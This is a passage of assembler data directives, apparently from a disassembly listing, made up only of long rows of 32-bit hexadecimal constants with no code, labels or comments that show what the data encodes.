		dd 18E6A7B1h, 0B430AB92h, 0A15A0ACh, 0D64BA6ECh, 0F0AAE62Ch
		dd 1661C480h, 6B05ACB8h, 778FECBFh, 0ADE83830h,	6C6A02B6h
		dd 74ABA6FAh, 5D88C0E1h, 5A401C14h, 0D6C8F05h, 0B4C363B6h
		dd 0BF41FF80h, 0F845A6ABh, 0E55ED480h, 55AC96EEh, 0CAFE00D4h
		dd 0EE91870Fh, 973E8A10h, 5E5000F5h, 61ADAFBFh,	797D26A7h
		dd 12B61234h, 1E005DDCh, 3511ED6h, 6AA6BD23h, 5D9880C4h
		dd 720FB3D2h, 847EADA4h, 40C1A55Bh, 2880BF61h, 88AF16E6h
		dd 2099A863h, 6C486C28h, 5A7D0EE8h, 8AA789D4h, 67617428h
		dd 91930B9Eh, 0AB2CCB23h, 8056EFC4h, 62ABAC30h,	120D033Ah
		dd 2DBBC072h, 345850A8h, 811DD173h, 0EC026FB2h,	60BD973Bh
		dd 78D463D0h, 0C05C18E6h, 0ADD040A7h, 312C098h,	0EAE7CAEh
		dd 0A48EAC60h, 12838Fh,	0C33C1E8Ch, 5D0B797Eh, 1A781CDh
		dd 75C0B970h, 0C6A6E9D3h, 77D00061h, 0A7AE3CD8h, 6082D518h
		dd 0AC9081D3h, 5B0458DFh, 0C6AE7DCCh, 0C60E40E8h, 8CC1ABAAh
		dd 78C8C8C2h, 0E4DA95D4h, 5C75A725h, 5DA04CA4h,	0E0ECD64Ah
		dd 0F84AFDFBh, 6FA43C73h, 0C0D4FA2Eh, 72ACB40Dh, 81600359h
		dd 740501B8h, 0D170D4E1h, 0B8D1495Fh, 0C03CBED2h, 1D1C98DBh
		dd 0AED279h, 0AA7DD372h, 0B17CBFC6h, 0ABCD8805h, 7C846EC0h
		dd 6A80DCABh, 1C6BE85Fh, 86EF05FAh, 0C490C671h,	0B083ACF4h
		dd 0E47D59B4h, 0D876FAC4h, 98B0800Ch, 90AAA616h, 9E7DDC0Eh
		dd 7716BF1Dh, 20AFE00Dh, 985EC434h, 9746208h, 0C4C275A6h
		dd 0DC98E494h, 0C0B2AFFCh, 7018481Eh, 133820AEh, 100CADCDh
		dd 78D569D4h, 0CF6E3AABh, 4220A72Eh, 2C96D677h,	65F83C90h
		dd 69AFD43Dh, 603403D8h, 0C6F83DD2h, 7879AB07h,	0DB0CCA4h
		dd 0D70580C5h, 50801824h, 97E85BB3h, 40D71CB7h,	0ADB288B6h
		dd 0A3A50B2Dh, 0D1A3B884h, 4F0EE890h, 0BC187C10h, 4C209793h
		dd 0AA7DA38Fh, 503E625Ah, 3900F80h, 0C02CADDAh,	0AA05D872h
		dd 64C3CF96h, 837DA05Bh, 0D940AA71h, 50D0B8F8h,	8B190003h
		dd 0A5DD01FDh, 20B8D264h, 0FCDB5A25h, 0AC7D8900h, 647744E0h
		dd 0AAABD813h, 0B4C53CC8h, 8A1440D4h, 710BAED6h, 8781A572h
		dd 9157CD80h, 80FBA787h
		dd 76B9D88Ch, 3990B85Ch, 7CF49854h, 50C08270h, 7D6082A4h
		dd 0A7609021h, 73753AB0h, 0D2AB8113h, 0C85B7150h, 0AAECE606h
		dd 0DFF61968h, 42B97858h, 3497D180h, 0ECB0E064h, 0E850BEA7h
		dd 973B5F34h, 90DC61ABh, 0AAB914FBh, 3401F072h,	3BE1F1A8h
		dd 0ABB0E094h, 0B3036406h, 7A215D7Ch, 0A6AE1274h, 4B94F273h
		dd 906EF8ECh, 23E0C8F6h, 6FAB0B0Ah, 106A38CDh, 3FE9F5Fh
		dd 0F662A6B9h, 0D860E80Dh, 607C287Fh, 90B0F874h, 0B2DC801Ch
		dd 0CED8776Eh, 0C0E7D620h, 417F2764h, 38ACD25Bh, 0CAE05DB8h
		dd 0DF87C45Ah, 8CCA743Bh, 3067E99Eh, 3E7D84F8h,	8B0CD772h
		dd 6388D25Eh, 61DCD650h, 0AADF030Ah, 0BC3CD878h, 7FE0075Ah
		dd 8399C677h, 0C00A0104h, 5AFC071h, 45379C91h, 0AEB00A76h
		dd 7CFA80F0h, 54ABD572h, 0EC66DCBEh, 0FACC1A28h, 0C8291891h
		dd 58788877h, 1E89DCA9h, 5606B14h, 9AADB030h, 4D4A201h
		dd 0A6D37874h, 9AC04482h, 276453F4h, 84ADF0A4h,	8830E020h
		dd 7C1F14F8h, 750FA75Eh, 7405025Ch, 0AAF08173h,	1828236Fh
		dd 9E1CEABFh, 5C58012h,	9C1D403Ch, 1E904F00h, 5AD7D0F5h
		dd 25F02285h, 79B8013Dh, 370C0EE6h, 8DEA2D3h, 0DF21C004h
		dd 5D35D610h, 0BB2533ECh, 0F0E45Fh, 5C6D0BE0h, 0B637DD02h
		dd 0A657FA00h, 3FC8BD95h, 641B011Dh, 0D0E99F38h, 0E731C009h
		dd 8B51D500h, 0EC9AB903h, 5089C0A8h, 0EE65B5B4h, 0C9C53304h
		dd 80EA90CCh, 8CB7753Ch, 0C85C5327h, 0AA75A08h,	0F30FF23Dh
		dd 91DB7020h, 7EA5088Ch, 0A8011C09h, 1F5A0114h,	89FA9850h
		dd 0A1BD0013h, 0D925B2C0h, 52E8B470h, 40E421CEh, 84ECEE13h
		dd 0A11606A7h, 0D01E53B1h, 50635632h, 138D3005h, 20A1C908h
		dd 404E64B4h, 9D1385E0h, 29F101DAh, 0BB879A9Eh,	2797C849h
		dd 0D4BC9828h, 1DAD2100h, 583B5C4Eh, 3E710025h,	9AB57ECh
		dd 44787B03h, 0D3EA807Eh, 0D5ED100h, 2F387A1Ah,	0C79414A1h
		dd 55881C39h, 7B3A903Fh, 1319CE00h, 3D712630h, 0E49F0C03h
		dd 0C02931B7h, 18CC7A18h, 40517339h, 0B3C7CB0h,	0DE71E153h
		dd 30838797h, 0BF7EE6B8h, 21460930h, 878FFEh, 0D5551DD8h
		dd 0CDC9D1EEh, 48589D61h, 0C0807742h, 4D25CBF7h, 10C13B5Dh
		dd 5029838Fh, 1579FB00h, 411DDC1Fh, 0C485AB42h,	8849739h
		dd 23D40C88h, 0F0322FE1h, 87913011h, 0E8B7DA11h, 37FE284h
		dd 0E88789F4h, 396E3A7Dh, 6C004F6Ah, 7A030EF3h,	0C8C0E219h
		dd 2D3CD1E5h, 0CDB1C06Fh, 0D67240Ah, 0AF312500h, 87A5B9DBh
		dd 930500D4h, 6475E650h, 17103CCCh, 5E003B86h, 8F80FBAAh
		dd 0B633AF98h, 0E457E06Bh, 0FE4DE940h, 53507983h, 0B70080A4h
		dd 0CF8B0E6Fh, 0D47C663Ch, 0C13E7F49h, 7A411881h, 58129389h
		dd 72806D1Ch, 0E8B1C97Ch, 506A7503h, 0E7977FB0h, 3AA60605h
		dd 2C0016E0h, 0A33F9E60h, 90AF3F05h, 9F06FD0Eh,	0B921518Ch
		dd 0C6001173h, 0A5A925E8h, 30CF9BD3h, 5E85795h,	80804028h
		dd 0D9DA0058h, 371913A8h, 9E48F129h, 0DB981420h, 7CAC03A4h
		dd 7B47280Fh, 79E30331h, 0DAA8CD95h, 8CB0BAD1h,	207ADC08h
		dd 79AB00FAh, 0F6A4D1A7h, 1E244D19h, 47F63482h,	0F4141FA3h
		dd 0DFFD09h, 45A09FD8h,	0BC9650CFh, 0F13112D1h,	6AC5E7Ah
		dd 0B94B044Dh, 59772237h, 7CA1AC50h, 1A0B3FE1h,	0D4052F0Ah
		dd 0A54356F0h, 6430C10h, 0EFD9C205h, 72DC80D8h,	0F8C28C74h
		dd 1E4671h, 0AE0B57AAh,	258820A7h, 8504CE6Bh, 1594820Bh
		dd 84209531h, 948849B7h, 0F8214B8Ch, 69878D01h,	2ACFA670h
		dd 3941E447h, 0E0805F4Bh, 0D6493294h, 0D28F974h, 143E9875h
		dd 33FD00ACh, 0A29EFEF6h, 0B59D00ECh, 0BF7DD25Dh, 61E47B6Bh
		dd 4FBCE150h, 0A86AC92Ah, 0C8E9DB06h, 0C489BD5h, 5A0737E2h
		dd 10C9F68h, 0E0E749C2h, 893E0CD5h, 9B397F22h, 9900A373h
		dd 4758B2F5h, 0E85BFAFCh, 0B021C7A4h, 0FE41300Bh, 4B73E6CDh
		dd 480D3D24h, 86527674h, 5B0DB201h, 0F51B6F21h,	0A04C0260h
		dd 1C136ECh, 8155DF95h,	9285F7F1h, 0B80805B8h, 3712C7ACh
		dd 9F0FD207h, 0BD115319h, 0C534CC15h, 1E612600h, 9677E178h
		dd 507FF886h, 480DF4CEh, 7A290451h, 0AD68B2A4h,	113F9D30h
		dd 881705A0h, 14BE8E54h, 0EEC83360h, 0F00BB2Ch,	5735DE5h
		dd 0C24E9D7Ah, 240F660h, 0CBC1BC9Bh, 0F001FB79h, 0BB958A7Fh
		dd 80B1DDD1h, 461998h, 4081D374h, 0C1193AE5h, 0BE1850B5h
		dd 1D0C20h, 0E2A49BF5h,	0CC30CECAh, 2A3D5605h, 389190E9h
		dd 0F84A893Ah, 0A1128B23h, 0A2F5D905h, 2398F862h, 289E09BEh
		dd 0DB579D00h, 68B797C9h, 30D970D0h, 386895D2h,	3D00BF2Ch
		dd 8CE7AA83h, 507BF1CDh, 2A4DDC56h, 12FC4F08h, 4234FE48h
		dd 0C529B788h, 323F6C68h, 92BB77h, 2328C448h, 79D7010Bh
		dd 18C8CD91h, 67A40DFh,	0F079E018h, 567C70Ah, 2C2BD007h
		dd 21B4819Ah, 0CF70073Ah, 99259F5Ah, 77790040h,	68F84892h
		dd 0E561800h, 0A8CB639Ah, 0C04736Dh, 1620982Dh,	48C0990h
		dd 0CD9379E5h, 5363D8h,	79AE0421h, 4F7661B4h, 0CC2DF624h
		dd 0C739FC43h, 0DD138FB0h, 78DC0087h, 743FE837h, 8920717Fh
		dd 934072D4h, 0B46A0B18h, 0D2058410h, 18DDA130h, 1D8D8E7Ah
		dd 0A833E9CFh, 0C254A0B8h, 1E442A85h, 398A46F8h, 0F598889Ch
		dd 47A0C4AAh, 8E3004B1h, 5D0137C2h, 0C4565CA6h,	0C44EF406h
		dd 8407317Dh, 59414896h, 89EF9C73h, 288F7917h, 0A06CD0D7h
		dd 549B9A40h, 3848CF94h, 0C90C81D1h, 24B633F1h,	88451824h
		dd 30987ACCh, 3FFE4B12h, 262B1C43h, 8210041h, 4748F8EFh
		dd 12ABBF4h, 0C505F44Bh, 80240956h, 0CF55C4Fh, 53955h
		dd 736FC548h, 9C6509C1h, 1EE84C03h, 0A918BED8h,	2AD0D2F6h
		dd 0B7F5044Bh, 90684201h, 59F34174h, 37036C92h,	21BBE98Ch
		dd 0E4D850FDh, 0D4BA526Bh, 0D5C1AD04h, 9A018F0h, 113099EAh
		dd 3F9980E1h, 43B7059Ch, 39562290h, 0A88010BAh,	62FE36CAh
		dd 3048EAACh, 2DC7C298h, 42A8A068h, 0AACFC3h, 4A1529A0h
		dd 955E7BFBh, 2D637D0Ch, 1FA880E7h, 8C8E4137h, 7B39F44Bh
		dd 0AD041C9Bh, 78980E7Ch, 947908E2h, 51C4B0CDh,	79AAFB40h
		dd 1317DC9Bh, 6420FD4Dh, 51CB21CCh, 0A4019848h,	0CE029EE2h
		dd 10C1F89Ah, 2CB048C5h, 40039416h, 4A610804h, 55A40412h
		dd 7C310A3Ah, 0CC08F792h, 79E4C008h, 0E052CD92h, 0AD058054h
		dd 69E1879h, 95C8D917h,	222A7899h, 6F048471h, 33C2F89h
		dd 861BB0C0h, 67A40E6Bh, 70B9C514h, 0BD91805h, 0F8CD9F79h
		dd 40E1741Ch, 0F3260B9Ch, 77B1B812h, 56818406h,	0CA030BC0h
		dd 34AAE391h, 11106A24h, 62138EABh, 0C7070506h,	0AC00E40h
		dd 0E0A03560h, 8D3E497Eh, 4890242Ch, 82736589h,	363D7C8h
		dd 0A0D817BFh, 9093B007h, 497A0284h, 24D31CD0h,	0F1E20C73h
		dd 3F694D17h, 294F5900h, 2CE8B186h, 8BAF0083h, 9D8AB972h
		dd 60997EDCh, 8E113CA4h, 9C61A08Eh, 0C5C0AF5h, 8BD88A2h
		dd 9F07D3E6h, 0F07BDC02h, 0E9BE7E11h, 0B8728C5Dh, 0A3055B2h
		dd 0D1E10049h, 21C24B8Eh, 3C90AFDBh, 9A052C90h,	45C9D3F5h
		dd 0A0201099h, 425242BDh, 30A7A264h, 0DF012795h, 59BB9BF6h
		dd 0D826FB12h, 4ABA097Ah, 384024EAh, 0B1021380h, 5D4F53DDh
		dd 0CAB6E09Dh, 8304ACCh, 0D02B4D10h, 8720AC28h,	0F9D32C56h
		dd 391930A5h, 31CB7D2Fh, 115C1D0Dh, 881D8050h, 0E8FCC0C6h
		dd 1FBF02CBh, 0A1ED3319h
		dd 100F2441h, 0F549C937h, 0FB801062h, 0E131CA04h, 0D3040490h
		dd 0EAB4A597h, 45F2A4E2h, 60F8F033h, 120B38Eh, 4755D203h
		dd 629C271Eh, 0C4D85118h, 7DA6018Ch, 0C204FF64h, 74203471h
		dd 0EC696314h, 0DF291018h, 0BC8B2C49h, 6813A807h, 2E989600h
		dd 1283664Eh, 9D45DDD6h, 8D184118h, 80E422DBh, 0E935BAA0h
		dd 0DD812405h, 72468038h, 0BE9488EAh, 0DC0B1A01h, 9F21F9B7h
		dd 5937E052h, 80048000h, 10CE796h, 3AA27E09h, 988030E2h
		dd 59D113Fh, 934988BFh,	11C12C7h, 0CF1FF76Eh, 8224225Fh
		dd 0C4B86B9Bh, 0C2031158h, 2CDC2411h, 0C7759BC3h, 65C8A0C9h
		dd 814F7D7Eh, 0EDD882DCh, 684BBB3Fh, 589DF9F4h,	56F82476h
		dd 686D008Ch, 406383FCh, 48F83B50h, 7D2BFF1Ah, 142484A8h
		dd 0E7879260h, 24AC9EB0h, 57FE020h, 24878AF9h, 52368059h
		dd 0A00F4482h, 33582DFDh, 6981300Dh, 49BC3028h,	3909138Ch
		dd 6DB4029Ah, 7052FC4Bh, 0F53CBF00h, 0A5A9AF9Ch, 0B4CD536Bh
		dd 0D8357A08h, 4F17AB06h, 14FF0019h, 0C57E61C3h, 0EA0084E6h
		dd 0F723059Eh, 493FD4F2h, 2511E869h, 6D7004Eh, 0C99B4BFDh
		dd 5B60992h, 50825E44h,	9CC03ED6h, 0A8834C1Dh, 825039CBh
		dd 4B793C60h, 4C0918D6h, 2880A3E5h, 60590049h, 302DE176h
		dd 0B3005F21h, 0A23C2B7Eh, 87FB0Ch, 3DD69DB0h, 0F18D7A04h
		dd 837CC8C1h, 488340C1h, 3F15717Fh, 0D06A6014h,	83FD007Ch
		dd 0DEE630F4h, 0C7CB5179h, 0CD4F3084h, 76A0D372h, 8053C9E1h
		dd 77FD7BA9h, 7624A923h, 9F33064Ch, 4CF8A457h, 0B4D8E524h
		dd 75B68000h, 484131B9h, 7A3CA3h, 179047CFh, 95347EF6h
		dd 0C2607360h, 0B0ADA3F1h, 0D1D30B00h, 984D0E3Ch, 20435391h
		dd 650B2D84h, 5D7F8404h, 19510A4h, 0CF74D1D2h, 5087173Ch
		dd 80BDD984h, 36F102E6h, 3DC70F3Ch, 0E6AD0595h,	8385D4D1h
		dd 88A28944h, 30B457F3h, 16E9CD1Dh, 2924AB03h, 5B7FF020h
		dd 0D1D82985h, 0C491852h, 824A99CAh, 0F0948E2Eh, 9627AE60h
		dd 26F6000Ah, 51AAC202h, 0D1014119h, 33355C7Dh,	486CCC3Eh
		dd 49E8F04Ch, 0C621018Ch, 563F412h, 659C40F5h, 0EC9A85CEh
		dd 926BE832h, 64ACE750h, 23406757h, 0B8046F05h,	264505A8h
		dd 0CC40D0h, 1B76089Ch,	3300BA7Ah, 77BBEA5Dh, 9046F4B9h
		dd 6CF94C00h, 7584CC83h, 0B47724C1h, 6C80F130h,	5A72642h
		dd 4FBD65C5h, 57E082C4h, 0C6823E07h, 4A4AB40h, 9D639744h
		dd 0C2F50612h, 0B21CE4CBh, 5A68C505h, 50982016h, 76000B2Ah
		dd 0FFF5E4E6h, 0D145ABh, 5BBE8B68h, 903475A6h, 9602E801h
		dd 0BA0137E6h, 986E9028h, 22268484h, 189019D4h,	0C846F706h
		dd 0A64C8990h, 0CC0EBB11h, 6E09B52Ch, 0D5DFE5h,	334BBA26h
		dd 9C5624ACh, 6ACD08E4h, 0AA547EBAh, 0C1264798h, 0A0A25C65h
		dd 706E3B4Eh, 4D258B05h, 0A12400FBh, 57E588FDh,	13D2D112h
		dd 0C004B808h, 0CD9E79D8h, 40DD18E1h, 0E100017Ah, 74AD2679h
		dd 1D46C614h, 313C2407h, 40A9C0h, 126D8DFDh, 1E9DB3EAh
		dd 184812F4h, 3E45D8FCh, 0D1E21E8Ch, 849A14C9h,	8889D2Ch
		dd 0F04443B4h, 5A2788E4h, 0B20C2147h, 32C6D542h, 2FFC07A8h
		dd 80092B0Ah, 1AE7C028h, 0F44B2C1Ch, 59684C54h,	7077A54Eh
		dd 7F8531C1h, 0BEC2D82Dh, 0F448F745h, 0D18970C3h, 2C4EE8CCh
		dd 0A8D43AD3h, 48474480h, 20B27F6h, 48DD795Ah, 8346A180h
		dd 9282980h, 6A14A002h,	6098737Dh, 2EA50F9Ch, 747C8E7Bh
		dd 0A20F5646h, 84404BC9h, 9EDC899Dh, 3D766317h,	18FC5C40h
		dd 30A1F5Dh, 39CF9D0Dh,	0F80378D3h, 4DBA8C9Fh, 0F1C9A813h
		dd 18606043h, 0A665F93Fh, 8C0B88A0h, 8061CB2Fh,	56C201E0h
		dd 6C9834h, 81B4CE3Ah, 72050ED4h, 2537D925h, 0C1843154h
		dd 123E50E0h, 80A2459h,	7C78D60h, 12F59D30h, 50C8B45Ch
		dd 63E60FBCh, 2060EB00h, 715332ADh, 0D1B0046Bh,	49991201h
		dd 7DF86821h, 7FC100B5h, 6886FBA0h, 0A9F8FD94h,	3AA31F05h
		dd 0AC4EBED3h, 1D56B0h,	1F57D3Ch, 5C53E9BBh, 5A219290h
		dd 12F4B000h, 0D81B7289h, 0A702F500h, 476FDAC3h, 65284A3Bh
		dd 2C380D34h, 93384168h, 40002A86h, 0D3F6100Dh,	5800BADDh
		dd 73B6096h, 0F40340E7h, 82B884F3h, 88A1D094h, 7CB9CBF4h
		dd 2A3C583Ch, 4C91C429h, 8118A2D1h, 8A06D97Eh, 870737EDh
		dd 0CA3D2578h, 4682Bh, 0EF74A06Bh, 9929C810h, 56A12212h
		dd 0C8B08BC8h, 7B9FC06Fh, 4494416Bh, 795E8502h,	2E6458F2h
		dd 921095CBh, 23842FA6h, 0BD6E0055h, 0F81D9DB7h, 0DD450A00h
		dd 798B342h, 80409C28h,	0F16EB7FAh, 0A6F23844h,	8D53C504h
		dd 24A09B88h, 0F3992772h, 0CA03EC20h, 909C3B45h, 41C74F88h
		dd 31292CFBh, 0BCF828A0h, 247F43E2h, 9005701h, 0BBA0C0F6h
		dd 2248CB6Bh, 1AA77048h, 0F007FF75h, 2C15A4B3h,	2854453h
		dd 3323FDA8h, 0C440E719h, 5C24ED28h, 95123CE0h,	21CC5441h
		dd 0D7014CDFh, 2470F1F8h, 526054E8h, 89ADA6A9h,	90A50304h
		dd 5B77C8CEh, 44070C2h,	22819615h, 2800E86Dh, 5889216Eh
		dd 0B80075B2h, 917A20FDh, 4DFADA77h, 2D108432h,	1FE4047Dh
		dd 888852BBh, 1A392D09h, 0EFD4018h, 116A6916h, 893A7CC1h
		dd 6FC8030h, 0EEFFF925h, 4C9C1099h, 266F465Eh, 4514B015h
		dd 0FC4D13D0h, 0F7A1D020h, 7E83148Dh, 3AD6ECBDh, 14C2398h
		dd 5CE662Ah, 28244934h,	8C57ACACh, 7D960809h, 9064F7h
		dd 0FFB1BBFEh, 90889861h, 0FBA51402h, 4158F6F0h, 0B8722800h
		dd 6FD9E207h, 0FD7DD0F3h, 0E4004A26h, 77173A5Ah, 2715231h
		dd 4B2A0F53h, 84C438E9h, 789B0C26h, 2400D08h, 5FF04DA0h
		dd 1CBD8AEh, 0F1CCD010h, 18798B2Ch, 0E444454Bh,	0CE173057h
		dd 69750009h, 3CEDBA2Ah, 0E73DD81Ah, 2A68354h, 0B8327F8Ah
		dd 260522B3h, 6423Dh, 3E43938Fh, 6D3D3369h, 1060FDC4h
		dd 0A9CCAF39h, 0A4DC006Ch, 299E53D7h, 0E013613h, 95DF7589h
		dd 1085F955h, 8053E05Bh, 8548481h, 7751D83Ah, 11EBC030h
		dd 3DCBB107h, 2C067135h, 89868DCh, 4021FD6Fh, 0AD8ACBA9h
		dd 8D961F1Ch, 0DDED01C1h, 800CDEF6h, 72926E91h,	7895C34h
		dd 5D95ADF4h, 91280DCEh, 0AC805870h, 987130CBh,	2702448Ch
		dd 2FCBA41Ch, 951D9FD3h, 634A4980h, 7FED4B9h, 6F24E798h
		dd 0F13791h, 8BEE843h, 57D02918h, 74E740h, 0DD419B61h
		dd 0D5EBFC54h, 71084C66h, 59950021h, 25AF1C9Bh,	61002E3Eh
		dd 28A17585h, 0A0E427BFh, 82EBDDA8h, 23DC000h, 0D90170DCh
		dd 59CCDED5h, 3CF5D872h, 0E288048h, 91B3AB37h, 895886DEh
		dd 2260081Ch, 0AB2F4F21h, 9901009Ah, 61156E27h,	0E23BD54Eh
		dd 42C0600Bh, 6FF0A9E8h, 0F80030DBh, 61661744h,	0C1978EEh
		dd 0F5082C59h, 3D1D2187h, 0CCB7F017h, 0EE003967h, 2C4033C8h
		dd 0C6CDD975h, 31E8F1A9h, 0B4664E00h, 3ABFC73Fh, 790F4F7h
		dd 4A458E75h, 5228E23Bh, 4E40C45h, 0B3C2E760h, 82B4BB00h
		dd 3370F50Fh, 998900BAh, 0DC72E336h, 96004971h,	0EA77355Dh
		dd 2B68DDh, 9565C43Eh, 0EDA56358h, 418C3448h, 8D7DE084h
		dd 0DF103861h, 0F04E42D8h, 0CAC06BC8h, 28F44334h, 46D85551h
		dd 0AB300237h, 331C91ACh, 284840BCh, 120778ABh,	75AB58Eh
		dd 42E9E664h, 47C9FBh, 47602564h, 437C3608h, 39813E01h
		dd 0D95933F4h, 0ACA4D60h, 0E4886362h, 7698B9D8h, 8D85D15Ah
		dd 48F17124h, 6F63C106h
		dd 0DF4D0018h, 0DDA86403h, 1449618Dh, 84A526F8h, 5416A020h
		dd 311FE17Dh, 8B8F018h,	0A401004Ch, 0CA8635Bh, 70C1DFDBh
		dd 85455D91h, 0F174D040h, 208B4802h, 0E543D650h, 60ED95DCh
		dd 0C8E7206Ch, 3B53281Fh, 8751DC20h, 9959382h, 0DF0BF621h
		dd 46EC80A0h, 9B62022Ah, 475CDD42h, 5A9601DCh, 0E4AD179Bh
		dd 89001D21h, 370EA151h, 2BA596Fh, 6D9F24CEh, 8086090Dh
		dd 0DF163955h, 9B1E40D6h, 943FA69Eh, 4888E992h,	8DD51854h
		dd 0F924E698h, 5490DCE3h, 0F8E4284Fh, 0BE5313A7h, 65A84161h
		dd 0BE42416Dh, 78D93E60h, 100CBD30h, 0C4E8DE1h,	280E38E3h
		dd 0FE403668h, 61CEB807h, 14F25884h, 2C8E207Dh,	11248C90h
		dd 3706305Fh, 0FE60DC53h, 3BD7A13h, 0F1108BBAh,	0D81112C9h
		dd 4922EA9h, 4F41954h, 0CC91E6FDh, 4BE04C6Ah, 8E1B0CF2h
		dd 0D920FF8Dh, 0A842E741h, 0F2346CA7h, 61641117h, 83F38844h
		dd 45173B1Bh, 22BC2A00h, 0F21D3E98h, 8021DDEAh,	0E991B6AFh
		dd 0D5006E66h, 0FF521EABh, 3873F981h, 903AA79h,	8CA5580Fh
		dd 540CD8A6h, 0B1F35D17h, 94664DD0h, 0D9115C4Ch, 78A52818h
		dd 80AF31C8h, 61F40447h, 2165F97Dh, 0E405B520h,	0A4005BEAh
		dd 0C3CAD54Dh, 80A44C41h, 4BB823C0h, 0A871809Eh, 19870200h
		dd 7085DD7Fh, 428D0571h, 12F7DEE9h, 86601C90h, 0A072900Ah
		dd 29B86754h, 16E6EB00h, 79694A32h, 218E895h, 4BFFE284h
		dd 14C2F707h, 0EECD1440h, 69631780h, 2082B9E8h,	3911DF34h
		dd 0AB083218h, 0C42C91AEh, 2A4A4024h, 7AA1ABh, 0F1DBF939h
		dd 91C3B3C1h, 76E99512h, 68D02C06h, 8FD13CA9h, 4044181Dh
		dd 8EA8E459h, 9500F0D2h, 82D51B23h, 0D832FBh, 0A6E807BEh
		dd 148E0852h, 0E172A0A8h, 5CF94924h, 86C8542h, 0D3FA1CACh
		dd 6D380E08h, 91585010h, 0EBA70340h, 0D0548F20h, 8809C030h
		dd 5402779Eh, 9D09FED1h, 84F41174h, 8480F98Dh, 24F3D599h
		dd 0DBC36D9h, 2078041Bh, 48C2824h, 0DD409B60h, 2068624Ch
		dd 769B5894h, 61C57D0Ch, 0DC8D98F8h, 5D22D2F8h,	0E56C84E0h
		dd 0A4308211h, 814D7060h, 2BC4082h, 409D51D8h, 7C5A5E9h
		dd 7DD74882h, 0F4EB3929h, 0E88A40C4h, 0DA54D51h, 2019A4E3h
		dd 5DF80020h, 8C9A6809h, 61D41302h, 641BE1A5h, 60904528h
		dd 0DD1C4544h, 6A421184h, 0C059CA05h, 2A31A225h, 648D7E8h
		dd 0C16D93ABh, 4050585Ch, 1842ADC0h, 3F17A423h,	2C53241Ch
		dd 180038h, 0D8D01738h,	332E85AAh, 0C03D5F2Eh, 0C0709B0Ch
		dd 824F51C3h, 48855520h, 107F1CE5h, 46A1975h, 0D39FD974h
		dd 95337C80h, 18636069h, 35C5DF37h, 298FD6Bh, 91E3104h
		dd 0F99FB806h, 0C4A6B0C8h, 61AB8141h, 0EE58483Ch, 0C3A1A88h
		dd 0FBB14017h, 4FDE160h, 2756A8C2h, 0C0D4CA05h,	71D1C763h
		dd 0A9DBD935h, 0C038D008h, 91ADAB31h, 49802443h, 0E7DAB29h
		dd 13124F01h, 2C01E81Bh, 0B074033h, 0E0A6A272h,	60E5D75Bh
		dd 0CC919501h, 0E29CE4CDh, 40597C70h, 930AAD1Dh, 0A060B965h
		dd 58429244h, 2868F5C1h, 0EE03049Ch, 45F602F2h,	9D42986Bh
		dd 0A01756ABh, 123B1C50h, 65DFDEA6h, 11A00504h,	95B4D11Fh
		dd 0C84DE79h, 0DAAC8D2Bh, 169B6330h, 3864DD43h,	5B0097D0h
		dd 0ED75E19Bh, 7BDE3809h, 121A06F5h, 0B9FCC160h, 46B9C601h
		dd 85F82AD5h, 1C0C3D4h,	30B802F6h, 0F0A9608Ah, 41625D72h
		dd 64015598h, 0B4F94434h, 0FB8A6801h, 75E76A49h, 63159472h
		dd 3C78C892h, 93243839h, 0A6E44F1Ch, 0AF74C123h, 234C2D4Fh
		dd 0CBB3015Fh, 0ED07137h, 0CBAB2E00h, 0D5CAC081h, 0F50CF09h
		dd 0F95C0223h, 0E5B02810h, 310CCC1Dh, 0FA30518Bh, 13A43081h
		dd 75703D95h, 55D0ED40h, 0D0006F4h, 0E97F1978h,	3BF80848h
		dd 13D160F1h, 2C1EA1h, 0B83862D9h, 0A69A90DDh, 51937B04h
		dd 68820636h, 0B90500D3h, 0C5003114h, 27F2807Eh, 3F68858Dh
		dd 8100E4FBh, 4F4DADDAh, 897D5075h, 0E27D10E4h,	0C7B5FF19h
		dd 51C06A27h, 0C30370E8h, 0C3592002h, 51758992h, 2119988Ah
		dd 0C3005141h, 5ACC3149h, 90891B33h, 5B116EFEh,	0C30D5C6h
		dd 0CEB70F19h, 6D87CF78h, 1C2DB509h, 430681Eh, 0BD8B5201h
		dd 0C041D829h, 0F581FC5Fh, 278DC547h, 1E88F9C1h, 7631FD63h
		dd 50031481h, 0E52C623h, 8944C35Ah, 211D6254h, 0C8C35242h
		dd 33FC2F4h, 4E67022Dh,	0E13134B1h, 58872C56h, 86C28166h
		dd 2D60D8AAh, 85EC8AA5h, 69CC8C0h, 0FD952983h, 80200318h
		dd 0E50738BDh, 2D260CB7h, 20958B88h, 0E91B0B65h, 1161583h
		dd 5F28D966h, 800DE860h, 2489AF2Dh, 1DE0443h, 838B1488h
		dd 0D4FCE1F5h, 8DF058DFh, 4C014133h, 55BDF061h,	3A42EF26h
		dd 9D312134h, 0E92616EDh, 844D82DAh, 11A0285Eh,	0C35F8757h
		dd 477C8922h, 57470103h, 0F88656C3h, 7B5048F3h,	0F4ABFCCEh
		dd 0F2D2D203h, 14E980h,	0AAAD4F33h, 0ACAECF6Ch,	92FEBA00h
		dd 51CD8048h, 0C06015Ch, 0E9C127CCh, 313582F7h,	0A51C1DBDh
		dd 0A2361597h, 0BBD08BC0h, 0E77A22C8h, 1B791EC4h, 5E85005h
		dd 8022943Fh, 0D040E686h, 3C2B120Eh, 0B84660ECh, 31AA9E1h
		dd 89B4DD57h, 4086E58Dh, 80475A49h, 2E16BF50h, 0C9017A5Dh
		dd 505420Eh, 84BE2859h,	0BA6610FFh, 48886EA0h, 0E90CFD28h
		dd 0BD1F08h, 7B61FCDCh,	53F4D604h, 2890F11h, 0E95FDA61h
		dd 0C8D14F51h, 982C017h, 35CB427h, 6B3024EDh, 0F2CFD141h
		dd 646E9891h, 5B615360h, 5C89C8C3h, 4316448Ch, 0BB205362h
		dd 0D0C482CFh, 0D9BF8250h, 69E5441Ch, 2035DBDh,	183D29A9h
		dd 446DC801h, 0BF240FD1h, 0A03FAFFBh, 48F8D82Ch, 83803125h
		dd 0C01065C4h, 0E9EC4659h, 90008509h, 0A4A2CDFh, 678EAA0h
		dd 0E9C08B5Ah, 0C3782107h, 737A6000h, 8A528490h, 0A9D8A8D1h
		dd 975881Eh, 189112DDh,	50197406h, 0B8364C53h, 60C44FD3h
		dd 9D8D955Dh, 0DCC1B2FAh, 585BD3FFh, 82172258h,	0E923201Eh
		dd 46C020AFh, 72C15855h, 0C06C892Bh, 45001511h,	1BF4C355h
		dd 0ACC4D68Bh, 8488BD81h, 6572126Fh, 7E470861h,	0EB167ABh
